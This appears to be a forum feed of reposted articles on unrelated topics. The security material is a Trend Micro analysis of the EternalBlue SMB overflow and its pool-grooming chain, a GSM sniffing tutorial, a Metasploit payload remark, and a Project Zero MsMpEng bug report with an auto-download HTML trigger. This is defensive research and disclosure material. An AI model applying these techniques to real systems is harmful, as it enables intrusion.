Nytro

Era si cazul sa apara asa ceva, nu inteleg de ce a durat atat.

O aplicaţie realizată de IT-iștii din Cluj, folosită de către NASA pe Staţia Spaţială Internaţională Mai mulţi IT-işti clujeni, dezvoltatori ai unei aplicaţii de back-up, au ajuns cu produsul lor chiar pe Staţia Spaţială Internaţională, după ce americanii de la NASA au cumpărat 20 de licenţe ale soft-ului lor, aflat în prezent deja la a şasea versiune, cu vânzări pe întreg mapamondul, scrie News.ro. NASA a achiziţionat 20 de licenţe ale soft-ului Backup4all, o aplicaţie dezvoltată de o echipă de programatori clujeni care deţin compania Softland. Începând cu luna mai, aplicaţia este folosită pe Staţia Spaţială Internaţională pentru activităţile de backup realizate de către agenţie. O licenţă pentru această aplicaţie costă 49,99 dolari, dar pentru că NASA a cumpărat o cantitate mai mare de licenţă, a primit şi o reducere, astfel încât preţul total a fost de 770 de dolari. De asemenea, pentru că este folosită într-un mediu în care nu există conexiune la internet, aplicaţia a trebuit modificată. "În ianuarie anul acesta am primit un mail de la NASA în care ne spuneau că şi-ar dori să instaleze Backup4all într-un mediu foarte securizat, fără acces la internet. Ne-au explicat că modalitatea noastră de activare nu va funcţiona în environment-ul lor şi atunci am aflat că vor să instaleze aplicaţia pe Staţia Spaţială Internaţională. A urmat o lună întreagă de teste şi configuraţii pentru ceea ce aveau nevoie şi în 31 mai a început să fie utilizată. Astfel, acum rulează pe opt laptopuri de pe Staţia Spaţială Internaţională”, a explicat Lóránt Barla, din partea companiei Softland. Clujenii, care au ajuns cu Backup4all la a şasea versiune, au explicat că mai ţin legătura cu cei de la NASA, în cazul în care aceştia au nevoie de ajutor pe partea de suport. "Cei de la NASA au cumpărat aplicaţia de pe site-ul nostru ca orice client normal. Nici măcar nu am ştiut. Poate mai avem şi alţi clienţi la fel de importanţi, dar nu ştim. Ar fi avut şi alte opţiuni pentru că este destul de mare concurenţa pe partea de backup. De ce au ales aplicaţia noastră? Pentru că li s-a părut că este cea mai bună soluţie pe care o pot configura conform nevoilor lor. În ceea ce îi priveşte pe clienţii noştri de la NASA, mai comunicăm profesional cu ei şi dacă vor avea nevoie de suport, pot conta pe ajutorul nostru. Dar, de regulă, Backup4all se configurează şi îşi face back-up automat fără să fie nevoie de altă interacţiune cu dezvoltatorii”, a precizat Lóránt Barla. Ca firmă, Softland funcţionează din 1999, la început desfăşurând activităţi de outsourcing. Din 2002 însă, echipa s-a concentrat să dezvolte şi să vândă propriile programe. În prezent, Softland are 13 angajaţi care se ocupă inclusiv de marketing, relaţia cu clienţii şi vânzări. Sursa: http://www.digi24.ro/stiri/externe/o-aplicatie-realizata-de-it-istii-din-cluj-folosita-de-catre-nasa-pe-statia-spatiala-internationala-737922

Nu imi aduc aminte sa fi dat 10 lire (50 RON) pe o bere aici in tara. Nici un abonament lunar la metrou nu cred ca este 13 lire. Cat despre chirie, gasisem apartament cu doua camere (1 flat room sau cum ii zic ei, nu mai stiu) cu 1200 lire (1300 EUR) in zona 8. Cu banii astia stau in penthouse pe Dorobanti.

Mi-e lene sa citesc, spuneti-mi cui sa dau ban.

MS-17-010: EternalBlue’s Large Non-Paged Pool Overflow in SRV Driver Posted on:June 2, 2017 at 1:10 am Author: William Gamazo Sanchez (Vulnerability Research) The EternalBlue exploit took the spotlight last May as it became the tie that bound the spate of malware attacks these past few weeks—the pervasive WannaCry, the fileless ransomware UIWIX, the Server Message Block (SMB) worm EternalRocks, and the cryptocurrency mining malware Adylkuzz. EternalBlue (patched by Microsoft via MS17-010) is a security flaw related to how a Windows SMB 1.0 (SMBv1) server handles certain requests. If successfully exploited, it can allow attackers to execute arbitrary code in the target system. The severity and complexity of EternalBlue, alongside the other exploits released by hacking group Shadow Brokers, can be considered medium to high. We further delved into EternalBlue’s inner workings to better understand how the exploit works and provide technical insight on the exploit that wreaked havoc among organizations across various industries around the world. Vulnerability Analysis The Windows SMBv1 implementation is vulnerable to buffer overflow in Large Non-Paged kernel Pool memory through the processing of File Extended Attributes (FEAs) in the kernel function, srv!SrvOs2FeaListToNt. The function srv!SrvOs2FeaListToNt will call srv!SrvOs2FeaListSizeToNt to calculate the received FEA LIST size before converting it to NTFEA (Windows NT FEA) list. The following sequence of operations happens: srv!SrvOs2FeaListSizeToNt will calculate the FEA List size and update the received FEA List size The resulting FEA size is greater than the original value because a wrong WORD cast When the FEA List is iterated to be converted to NTFEA LIST, there will be an overflow in the non-page pool because the original total size of list is miscalculated Overflow Analysis Our analysis of the overflow applies to srv.sys 6.1.7601.17514_x86. The vulnerable code can be triggered using srv!SrvSmbOpen2. The trace is as follows: 00 94527bb4 82171149 srv!SrvSmbOpen2 ➜ SrvOs2FeaListSizeToNt() 01 94527bc8 821721b8 srv!ExecuteTransaction+0x101 02 94527c00 8213b496 srv!SrvSmbTransactionSecondary+0x2c5 03 94527c28 8214a922 srv!SrvProcessSmb+0x187 04 94527c50 82c5df5e srv!WorkerThread+0x15c 05 94527c90 82b05219 nt!PspSystemThreadStartup+0x9e 06 00000000 00000000 nt!KiThreadStartup+0x19 To be able to analyze the overflow, we set the break points to: bp srv!SrvSmbOpen2+0x79 “.printf \”feasize: %p indatasize: %p fealist addr: %p\\n\”,edx,ecx,eax;g;” When the break point is hit we have the following (in hex and decimal values): feasize: 00010000 (65536) indatasize: 000103d0 (66512) fealist addr: 89e980d8 From here we can see that the IN-DATA size 66512—the same value of the Total Data Count in the NT Trans Request—is bigger that the FEA list size 65536. Figure 1: Snapshot of code showing IN-DATA size (highlighted) What’s notable here is that the pointer to IN-DATA will be cast to the FEA List structure, as shown below: Figure 2: FEA List structure After casting the IN-DATA buffer, we will have the FEA size 00010000 (65536) stored in FEALIST ➜ cbList. The next step in the SMB driver will be to allocate a buffer to convert the FEA List to NT FEA List. This means it is required to calculate the NTFEA list size, which is done by calling the srv!SrvOs2FeaListSizeToNt function. To see the returned values for this function, we put the following break point: bp srv!SrvOs2FeaListToNt+0x10 “.printf \”feasize before: %p\\n\”,poi(edi);r $t0 = @edi;g;” bp srv!SrvOs2FeaListToNt+0x15 “.printf \”NTFEA size: %p feasize after: %p\\n\”,eax,poi(@$t0);g;” After breaking we get: feasize before: 00010000 feasize after: 0001ff5d NTFEA size: 00010fe8 Accordingly, we found that FEALIST ➜ cbList was updated from 0x10000 to 0x1ff5d. But what part of the code is making the wrong calculation? The code below shows how the error happens: Figure 3: Code snapshot showing error in calculating FEALIST ➜ cbList In the code snapshot above, list 40 onwards showed an example of the calculation error. Because the Original FEA list size was updated, the iteration to copy the values to the NTLIST will go beyond the NTFEA size returned in v6 (which was 00010fe8). Note that if the function returns at line 28 or at line 21 the FEA list is not updated. The other condition that leads to the update of v1 other than the one used by EternalBlue is if there is trail data at the end of the FEA list, but not enough to store another FEA structure. We also analyzed what happens in the kernel memory during a buffer overflow on LARGE NON-PAGE Kernel Pool. When the SrvOs2FeaListSizeToNt returns, the size required to store the NTFEA LIST is 00010fe8. This will require a Large Kernel POOL Allocation in SRV.sys. Using the following breakpoints helps track exactly what happens when the FEA list is converted to NTFEA list: bp srv!SrvOs2FeaListToNt+0x99 “.printf \”NEXT: FEA: %p NTFEA: %p\\n\”,esi,eax;g;” bp srv!SrvOs2FeaToNt+04d “.printf \”MOV2: dst: %p src: %p size: %p\\n\”,ebx,eax,poi(esp+8);g;” bp srv!SrvOs2FeaListToNt+0xd5 To sum it up, once SrvOs2FeaListSizeToNt is called and the Pool allocated, the function SrvOs2FeaToNt is used while iterating over the FEA list to convert the elements of the list. Inside SrvOs2FeaToNt, there are two _memmove operations where all the buffer copy operations will happen. With the aforementioned break points, it is possible to track what happens during the FEA list conversion. The trace will take quite some time, however. Figure 4: Code snapshot showing copy operations After the trace, the break point srv!SrvOs2FeaListToNt+0xd5 will hit and we can get all data required to analyze the buffer overflow. There are 605 copy operations with size 0 because in the beginning of the payload, the FEA list will have a 0 bytes value, which corresponds to 605 FEA structs. The next FEA size will be F3B3 (copy 606) and the resulting copy will end in 85915ff0. After the copy operation 606 we will see the buffer at the end: 85905008 + 10FE8 = 85915FF0. However, another FEA iteration will happen, and the size will be A8 in this case. That will overwrite the next memory area. Note how after overwriting the data, it will be in a different POOL—in this case, the SRVNET.sys pool. After copy operation 607 is a corrupted FEA and the server return, STATUS_INVALID_PARAMETER (0xC000000D). The last FEA that is in the final NT Transaction sent to the server. Figure 5: Code snapshot showing the corrupted FEA and server return EternalBlue’s Exploration Capabilities The overflow happens in NON-PAGED Pool memory—and specifically in Large NON-PAGED Pool. Large non-page pool do not have a POOL Header. Because of this, after the large POOL buffer, another POOL Buffer can be allocated—one that is owned by a driver with specific DRIVER data. Therefore, the attack has to manipulate the POOL buffer coming after the overflowed buffer. EternalBlue’s technique is to control the SRVNET driver buffer structures. To achieve this, both buffers should be aligned in memory. To create the NON-PAGED POOL alignment, the kernel pool should sprayed. The technique is as follows: Create multiple SRVNET buffers (grooming the pool) Free some of the buffers to create some holes where the SRV buffer will be copied Send the SRV buffer to overflow the SRVNET buffer. Exploitation Mechanism The vulnerable code for the buffer overflow works on KERNEL NON-PAGED memory. It also works in LARGE NON-PAGED POOL. Those kinds of pools do not have any POOL headers embedded at the beginning of the page, so special techniques are required to exploit them. The technique requires reversing some Structure that can be allocated in the overflow area, as shown below: Figure 6: EternalBlue’s exploit mechanism The creation of multiple SRVNET buffers (Kernel Grooming) approximates what happens in memory and simply used to represent the idea. Note that we’ve also intentionally omitted other details to prevent our analysis from being misused. Figure 7: EternalBlue’s exploit chain EternalBlue’s Exploit Chain EternalBlue goes through a chain of processes in order to successfully exploit a vulnerable system or network, as shown above. EternalBlue first sends an SRV buffer except the last packet. This is because the Large NON-PAGED POOL buffer will be created when the last data in the transaction arrives at the server. The SMB server will then accumulate the DATA in an Input buffer until all transaction data are read. The total transaction data will be specified in the initial TRANS packet. Once all transaction data have arrived, the SMB server will process the data. In this case, the data is dispatched to the SrvOpen2 function to read the data via Common Internet File System (CFIS). At this point, EternalBlue ensures that all sent data is received by the server and sent to an SMB ECHO packet. Because the attack can be implemented over a slow network, this echo command is important. In our analysis, even if we sent the initial data, the “Vulnerable Buffer” isn’t created in memory yet. Kernel grooming tries to allocate an SRV vulnerable buffer just before the SRVNET buffer. Kernel grooming employs these steps: FreeHole_A: EternalBlue will start creating a kernel hole A by sending SMBv1 packet SMBv2_1n: Send a group of SMBv2 packets FreeHole_B: Send another free hole buffer; this one should be sent before the previous hole is free to make sure another one is created FreeHole_A_CLOSE: close the connection to make the buffer free, after which close A in order to create free hole SMBv2_2n: Send a group of SMBv2 packets FreeHole_B_CLOSE: close the connection to make the buffer free FINAL_Vulnerable_Buffer: Send the last packet of the vulnerable buffer A Vulnerable Buffer will be created in memory just before the SRVNET buffer and part of the SRVNET is overwritten. The conversion from FEA List to NTFEA List will return an error because FEA structs are invalid after a certain point, in which case the server will return with STATUS_INVALID_PARAMETER (0xC000000D). Patch your systems Given how EternalBlue served as the doorway for many of the malware that severely impacted end users and enterprises worldwide, it also serves as a lesson on the importance of applying the latest patches and keeping your systems and networks updated. EternalBlue has already been issued a fix for Windows systems, including unsupported operating systems. Apart from implementing regular patch management to systems and networks, IT/system administrators are also recommended to adopt best practices such as enabling intrusion detection and prevention systems, disabling outdated or unnecessary protocols and ports (like 445), proactively monitoring network traffic, safeguarding the endpoints, and deploying security mechanisms such data categorization and network segmentation to mitigate damage in case of exposure. Employing virtual patching can also help against unknown vulnerabilities. Trend Micro Solutions Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats such as fileless infections and those that abuse unpatched vulnerabilities. OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed. Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these kinds of attacks even without any engine or pattern update. More in-depth information on Trend Micro’s solutions for EternalBlue and the malware that leverage the exploit can be found in these technical support pages: https://success.trendmicro.com/solution/1117192 https://success.trendmicro.com/solution/1117391 Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/

Black Hat Arsenal USA 2017 On June 1, 2017 @toolswatch announced the tools selected for Black Hat Arsenal USA 2017. Most of the selected tools are already present on GitHub and some are yet to be uploaded. This article contains the links to their respective repositories. The tools are arranged according to their tracks. If you like the tool, go to its repository and click Watch to keep updated on the latest commits and pushes. Some tools will be updated during/after the Arsenal event. Links to the GitHub repositories of those tools will be eventually updated in this article. Android, iOS and Mobile Hacking Android Tamer https://github.com/AndroidTamer DiffDroid https://github.com/antojoseph/diff-droid Kwetza https://github.com/sensepost/kwetza Needle https://github.com/mwrlabs/needle NoPE Proxy (Non-HTTP Proxy Extension) https://github.com/summitt/Burp-Non-HTTP-Extension Code Assessment Puma Scan https://github.com/pumasecurity/puma-scan Tintorera: Source Code Intelligence (Code not yet uploaded) https://github.com/vulnex/Tintorera Cryptography Hashview https://github.com/hashview/hashview Gibber Sense https://github.com/smxlabs/gibbersense Data Forensics and Incident Response PcapDB: Optimized Full Network Packet Capture for Fast and Efficient Retrieval https://github.com/dirtbags/pcapdb SCOT (Sandia Cyber Omni Tracker) Threat Intelligence and Incident Response Management System https://github.com/sandialabs/scot Security Monkey https://github.com/Netflix/security_monkey ThreatResponse: An Open Source Toolkit for Automating Incident Response in AWS https://github.com/ThreatResponse Yalda — Automated Bulk Intelligence Collection (Code not yet uploaded) https://github.com/gitaziabari/Yalda Exploitation and Ethical Hacking AVET — AntiVirus Evasion Tool https://github.com/govolution/avet GDB Enhanced Features (GEF) https://github.com/hugsy/gef Leviathan Framework https://github.com/leviathan-framework/leviathan MailSniper https://github.com/dafthack/MailSniper Seth https://github.com/SySS-Research/Seth Hardware/Embedded ChipWhisperer https://github.com/newaetech/chipwhisperer DYODE, a DIY, Low-Cost Data Diode for ICS https://github.com/arnaudsoullie/dyode FTW: Framework for Testing WAFs https://github.com/fastly/ftw The Bicho: An Advanced Car Backdoor Maker https://github.com/UnaPibaGeek/CBM Internet of Things Hacker Mode https://github.com/xssninja/Alexa-Hacker-Mode Universal Radio Hacker: Investigate Wireless Protocols Like a Boss https://github.com/jopohl/urh Malware Defense Aktaion v2 — Open Source Machine Learning and Active Defense Tool https://github.com/jzadeh/Aktaion Cuckoo Sandbox https://github.com/cuckoosandbox/cuckoo LimaCharlie https://github.com/refractionPOINT/limacharlie Malboxes https://github.com/GoSecure/malboxes Network Attacks BloodHound 1.3 https://github.com/BloodHoundAD/BloodHound CrackMapExec v4 https://github.com/byt3bl33d3r/CrackMapExec DELTA: SDN Security Evaluation Framework https://github.com/OpenNetworkingFoundation/DELTA eaphammer https://github.com/s0lst1c3/eaphammer gr-lora: An Open-Source SDR Implementation of the LoRa PHY https://github.com/BastilleResearch/gr-lora Yasuo https://github.com/0xsauby/yasuo Network Defense Assimilator https://github.com/videlanicolas/assimilator Noddos https://github.com/noddos/noddos Sweet Security https://github.com/TravisFSmith/SweetSecurity OSINT — Open Source Intelligence Datasploit — Automated Open Source Intelligence (OSINT) Tool https://github.com/DataSploit/datasploit Dradis: 10 Years Helping Security Teams Spend More Time Testing and Less Time Reporting https://github.com/dradis/dradis-ce OSRFramework: Open Sources Research Framework https://github.com/i3visio/osrframework Reverse Engineering BinGrep https://github.com/m4b/bingrep Vulnerability Assessment Aardvark and Repokid https://github.com/square/Aardvark SERPICO https://github.com/SerpicoProject/Serpico SimpleRisk https://github.com/simplerisk/code Web AppSec BurpSmartBuster: A Smart Way to Find Hidden Treasures https://github.com/pathetiq/BurpSmartBuster CSP Auditor https://github.com/GoSecure/csp-auditor Easily Exploit Timing Attacks in Web Applications with the ‘timing_attack’ Gem https://github.com/ffleming/timing_attack Fuzzapi — Fuzzing Your RESTAPIs Since Yesterday https://github.com/lalithr95/fuzzapi Offensive Web Testing Framework (OWASP OWTF) https://github.com/owtf/owtf PyMultiTor https://github.com/realgam3/pymultitor ThreadFix Web Application Attack Surface Calculation https://github.com/denimgroup/threadfix WaToBo — The Web Application Toolbox https://github.com/siberas/watobo WSSiP: A WebSocket Manipulation Proxy https://github.com/nccgroup/wssip If you haven’t looked at the selected tools, check the below embed to view the complete details of the tools and its presenters. The Black Hat Arsenal USA 2017 Phenomenal Line-Up Announced Just a BIG w00w !! Over 90 tools covering hardware/embedded, IoT, Malware defense, exploitations and more ! We had…www.toolswatch.org Sursa: https://medium.com/hack-with-github/black-hat-arsenal-usa-2017-3fb5bd9b5cf2

PASSIVE GSM SNIFFING WITH SOFTWARE DEFINED RADIO 02/06/2017 0 Comments in Blog by Rashid Feroze I have been working on Telecom Security and Software defined radio since a few months and I noticed that there are very limited resources on the internet for beginners who want to get into telecom security. Not many people from security industry are into this and very less information has been shared online. I would be sharing here whatever I have gained in past few months in a series of blog posts. Now, before getting into active security analysis of GSM networks, let’s first see what we can do by just passively sniffing the airwaves around us. To sniff RF waves around us, the best way is get your hands on a SDR. WHAT IS A SDR? According to Wikipedia, Software-defined radio (SDR) is a radio communication system where components that have been typically implemented in hardware (e.g. mixers, filters, amplifiers, modulators/demodulators, detectors, etc.) are instead implemented by means of software on a personal computer or embedded system. In simple terms, It refers to a technique in which all the processing is done in software. The processing mentioned include mixing, filtering, demodulation etc. We can use a SDR to capture airwaves when tuned to a particular frequency. The range of frequency it can capture and the bandwidth differs with different SDR devices. Here, we would be using RTL-SDR, the cheapest one available, to sniff over GSM. GSM FREQUENCY BANDS Before getting into details, let’s first have a look on different GSM frequency bands. GSM operates on a set of pre-defined frequencies designated by International Telecommunication union for the operation of GSM mobile phones. GSM frequency bands In India, we use two bands which are shaded in yellow in the above picture. A dual-band 900/1800 phone is required to be compatible with most networks around the world. For sniffing, first we need to identify the GSM downlink channels. Here we would be sniffing GSM data for our own phone so we would need to know upon what frequency it is operating on. We can do this by getting the ARFCN no. from our phone. In GSM cellular networks, an absolute radio-frequency channel number (ARFCN) is a code that specifies a pair of physical radio carriers used for transmission and reception in a land mobile radio system, one for the uplink signal and one for the downlink signal. I am using Motorola G4 and in this phone we can get to the service mode by dialing *#*#4636#*#* on our phone keypad. I have switched the phone to 2G mode as analysis of 2G is much easier than 3G/4G. They are using different encoding and encryption schemes and we can cover them later. Our ARFCN no. is 672. We can calculate exact frequency on which this phone is operating by using the ARFCN number. By using a simple ARFCN calculator we got to know the frequency our phone is operating in. ARFCN Calculator Now. Let’s tune our RTL-SDR to that particular frequency and find out what we can see. Gqrx tool We can clearly see the GSM Stream bits on that frequency. Let’s also scan for all the GSM channels around us. This will give us confirmation about our downlink channel. We can use kalibrate-rtl tool to scan GSM frequencies around us. kalibrate-rtl Here also we can see our downlink channel and it also gives us the offset value which will help us calibrate our SDR better. Whatever data which the SDR is receiving is just raw data which makes no sense. We can use GR-GSM to decode this raw data and process this into meaningful information. grgsm_livemon running Now start wireshark simultaneously and we would start seeing the GSM data packets in the wireshark. We can also filter out Gsmtap packets. This is a system Information type 3 packet. Information needed by the MS for cell selection and reselection is broadcasted with the help of this. Location Update message CAN WE LISTEN TO VOICE CALLS THEN? All the data channels are almost always encrypted using a stream cipher (A5) used to provide over-the-air communication privacy in the GSM cellular telephone standard. We can only see some of the control channels above which were not encrypted. All the calls and messages are encrypted using an encryption key (Kc) which is generated after an authentication mechanism by Authentication Center (AUC) which follows a challenge-response authentication model. The SIM card stores an encryption key called as Ki which is also stored by AUC/HLR. The Ki or Kc is never exchanged over network, therefore making it impossible to sniff encryption keys over the air. Moreover, the Kc changes before each call is setup. It means for every call, there would be a different encryption key. However, older version of A5 can be cracked if we have enough computation power. Researches have cracked A5/1 encryption by setting up the entire process in cloud which has huge computation power. Kraken is the tool that can be used for this. We cannot capture voice data with RTL-SDR because during a call, channel hopping takes place and the bandwidth of the RTL-SDR is not enough to capture the whole range at a time. We would need a better SDR with more bandwidth like a HackRF or any SDR device above that. HOW DOES INTELLIGENCE AGENCIES INTERCEPT OUR CALLS THEN? 1. DOWNGRADING THE ENCRYPTION ALGORITHM USED Even if the operator is using new and strong encryption algorithm, sometimes It is possible to force the operator to switch to a weaker encryption algorithm. Operators have to enable support for older encryption algorithms because many older phones doesn’t have enough computation power to use new encryption algorithms. 2. SOME OF THE OPERATORS DOESN’T USE ANY ENCRYPTION AT ALL During telecom security vulnerability assessments, it was found that, sometimes operators turn off encryption schemes completely when the load on the network increases so that they can reduce overhead traffic and can accommodate more users easily. 3. MITM ATTACK This is the most common attack vector that have been used since years by different hacker groups and Intelligence agencies. One can create fake cell towers and fool a mobile station in the vicinity to connect to that fake cell tower. All the mobile station data now would be going through that fake cell tower and the person in control could force the MS to use no encryption at all. 4. GETTING THE SIM CARD ENCRYPTION KEYS In 2015, It was in the news that some spies hacked into the internal computer network of the largest manufacturer of SIM cards in the world, stealing encryption keys (Ki) used to protect the privacy of cellphone communications across the globe. This key could be used to decrypt the GSM data. WHAT NEXT? We will talk more about security analysis of GSM networks using Osmocom-BB, we will setup our own GSM Network using OpenBTS and discuss about the attacks possible over Um and Abis interfaces in the upcoming blogposts related to telecom security. Stay Tuned. Sursa: http://payatu.com/passive-gsm-sniffing-software-defined-radio/

Cât câştigă un programator şi cum ne raportăm la salariile programatorilor din alte țări? Marti, 23 Mai 2017 7594 vizualizari Sursa foto Potrivit datelor despre salarii provenite din contribuțiile utilizatorilor Undelucram.ro, postate în ultimii 4 ani, am identificat un salariu minim net care pornește de la 1.000 RON (o pozitie entry level, aferentă unei experiențe reduse), şi care ajunge până la un maxim de 16.000 RON. Excluzând extremele, puține la număr, utilizatorii noștri, care au împărtășit comunității date despre venitul lor salarial, câştigă în medie 4.418 RON sau aprox. 1000 EUR. Sursa: Undelucram.ro Cum arată aceasta medie în raport cu datele colectate de institutul de statistică? Ultima valoare înregistrată, aferentă lunii martie 2017, arată o medie a caştigului unui angajat in “Activitati de servicii în tehnologia informatiei; Activitati de servicii informatice”, egală cu 5.880 RON (aprox. 1.292 EUR). Facem totuși precizarea că datele colectate de INS se referă la un domeniu de activitate mai larg, în consecință putem avea incluse în medie şi salarii care nu au legătură directă cu activitatea de programare. În 2016, salariile angajaților din IT au crescut cu 22% față de anul precedent, în timp ce în primele 3 luni ale lui 2017 se înregistrează o creștere de 9% an vs. an. Cum ne raportam la salariile țărilor din regiune, Europa de Vest, dar si America de Nord? Sursa: Undelucram.ro, INS, Eurostat, Institute de Statistica Nationale – Europa de Vest si America de Nord Așa cum am precizat, datele provenite de la unele instituții de statistică naționale nu oferă valori exclusive activității de programare. În schimb se realizeaza o medie, pe baza tuturor salariilor din domeniul IT. În graficul de mai sus, avem această situație pentru datele oferite de INS, dar si pentru cele oferite de instituțiile de statistica din unele țări ale Europei Centrale. Per ansamblu, valorile în regiune sunt destul de apropiate, mai mult chiar, România se află în fața Europei Centrale pe aceasta medie agregata din sectorul IT: 1.251 EUR vs. 1.154 EUR in regiune. Situația se schimbă radical în comparație cu țări considerate dezvoltate, iar aici valorile sunt direct comparabile cu datele de pe Undelucram, pentru că se refera strict la activitățile de programare. Un programator din Europa de Vest câstigă în medie 3.155 EUR, iar unul din America de Nord 4.547 EUR, de aproximativ 3, respectiv 4 ori mai mult decât salariul din România. Cum arată datele în contextul unei comparații cu Indicele Cheltuielilor de zi cu zi, aferent locațiilor geografice respective? Sursa: Numbeo.com În Europa Centrală, indicele cheltuielilor curente este doar cu aprox. 15% mai mare decat in România. În schimb, în țările din Europa de Vest, precum si peste ocean, costul vieții este mai mult sau mai puțin DUBLU. Cum arată salariul programatorilor, ajustat la puterea de cumpărare aferentă regiunilor comparate? Sursa: Calcule Undelucram.ro, Numbeo.com Chiar si ajustate la puterea de cumpărare, în comparație cu țara noastră, salariile programatorilor sunt cu 60% mai mari in Europa de Vest si mai mult decât duble in America de Nord. Pe lângă salarii, ce alte beneficii mai primesc angajații care lucrează în PROGRAMARE? Asigurare medicala şi Program flexibil, marea majoritate: 61%, respectiv 67% Tichete de masă: mai puțin de jumatate, 42% Al 13-lea salariu şi pensie facultativă: foarte puțini: 30%,respectiv 10%. Spune comunității cât câştigi. Postarea ta este şi va rămâne anonimă. Sursa: https://www.undelucram.ro/stire/cat-castiga-un-programator-si-cum-ne-raportam-la-alte-tari-1105

Super, arata bine.

Ce telefoane mobile pot rula Android O în versiunea DP2 Autor: Emil Dragotă, Data: 21.05.2017, 21:52 Software Android O în versiunea Developer Preview 2 a fost lansat de către Google. Poate fi instalat pe Nexus 5x, Nexus 6P, Pixel, Pixel XL, Pixel C și Nexus Player. Cum poți instala Android O DP2 pe dispozitivele menționate? Sunt mai multe alternative: Android O Beta Program; Factory image pentru fiecare dispozitiv în parte. Care sunt noutățile aduse de către Android O DP2? setările rapide cu design actualizat; posibilitatea de a schimba designul icoanelor pentru aplicații ( normal, rotund, pătrat etc); ai acces la widgeturile unei aplicații prin apăsarea prelungită ( disponibil doar în launcher-ul preinstalat – Pixel Launcher); modul de lumină pentru noapte cu posibilitatea de reglare a intensității pe partea de luminozitate; suport nativ pentru managementul parolelor ( secțiunea Setări / Sistem / Limbaj și Metode de introducere / Avansat și acolo apare opțiunea de auto-completare; opțiuni noi de management pentru consumul de energie electrică stocată în acumulator. Google limitează aplicațiile ce necesită refresh constant pe partea de poziționare, sunt mai multe optimizări făcute ca utilizatorul să aibă date concrete legate de consumul generat de fiecare aplicație în parte, informații pe partea de încărcare etc; modul Picture-in-Picture adus la un nivel superior, pagină dedicată în setări; Instant Apps – posibilitatea de a testa o aplicație fără a fi nevoie în a o instala pe dispozitiv; opțiuni noi în zona Wi-Fi și rețea; design nou pentru secțiunea Stocarea din setări. Mai multe detalii în linkul de la sursă. Google dezvoltă din mers și preia feedback în mod real, asta și face sistemul de operare să evolueze, să fie mult mai matur din prima zi în care este lansat comercial. Prin vară o să avem Android 8.0 Oreo în ediție finală, dar și primele telefoane mobile cu această distribuție software. Sursa: https://www.gadget.ro/ce-telefoane-mobile-pot-rula-android-o-versiunea-dp2/

E Metasploit, ar trebui sa mearga orice payload. Poti face un test cu bind/reverse tcp. Nu am incercat, nu stiu daca e limitat de ceva, gen marime, dar nu pare sa fie.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5 MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on. On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system. Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service. The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers. NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds. We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it: $ mpscript main(): Please wait, initializing engine... main(): Ready, type javascript (history available, use arrow keys) > 6 * 9 JavaScriptLog(): 54 > document.location.hostname JavaScriptLog(): www.myserver.com > "abcd" + String.fromCharCode(0x3f) JavaScriptLog(): abcd? > /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX? JavaScriptLog(): yes > for (i in document) log(i) JavaScriptLog(): appendChild JavaScriptLog(): attributes JavaScriptLog(): childNodes JavaScriptLog(): createElement JavaScriptLog(): createTextNode JavaScriptLog(): getElementById JavaScriptLog(): getElementsByTagName JavaScriptLog(): write JavaScriptLog(): writeln JavaScriptLog(): referrer JavaScriptLog(): cookie JavaScriptLog(): location JavaScriptLog(): undefined > window.ScriptEngineBuildVersion JavaScriptLog(): [object Function] > window.ScriptEngineBuildVersion() JavaScriptLog(): 8831 We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent(). In pseudocode, the code does something like this: prophash = JsObject::genPropHash("message", 0); RuntimeState::getThisPtr(&thisptr) if (JsObject::get(thisptr, prophash, &message)) { JsRuntimeState::triggerShortStrEvent("error_tostring", message); } The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable. int __fastcall JsString::numBytes(JsString this) { if ( this == 0x12 ) return 0; if ( (this & 0x12) == 0x12 ) return this >> 5; return this->vtbl->GetLength(this); } Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length. Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible). To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this: <a href="testcase.txt" download id=link> <script> document.getElementById("link").click(); </script> 3: kd> !process PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8 DirBase: bded14e0 